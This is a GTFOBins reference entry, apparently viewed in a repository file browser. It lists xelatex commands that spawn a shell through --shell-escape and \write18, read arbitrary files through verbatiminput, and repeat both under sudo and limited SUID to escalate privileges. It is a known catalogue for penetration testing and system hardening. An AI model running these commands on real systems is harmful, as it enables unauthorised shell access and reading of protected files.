GTFOBins.github.io/_gtfobins/xelatex.md

22 lines
909 B
Markdown
Raw Normal View History

---
2021-04-22 22:15:02 +02:00
functions:
shell:
2021-04-22 22:15:02 +02:00
- code: |
xelatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
file-read:
- description: The read file will be part of the output.
code: |
xelatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
strings article.dvi
2021-04-22 22:15:02 +02:00
sudo:
- description: The read file will be part of the output.
code: |
sudo xelatex '\documentclass{article}\usepackage{verbatim}\begin{document}\verbatiminput{file_to_read}\end{document}'
strings article.dvi
- code: |
sudo xelatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
limited-suid:
2021-04-22 22:15:02 +02:00
- code: |
./xelatex --shell-escape '\documentclass{article}\begin{document}\immediate\write18{/bin/sh}\end{document}'
---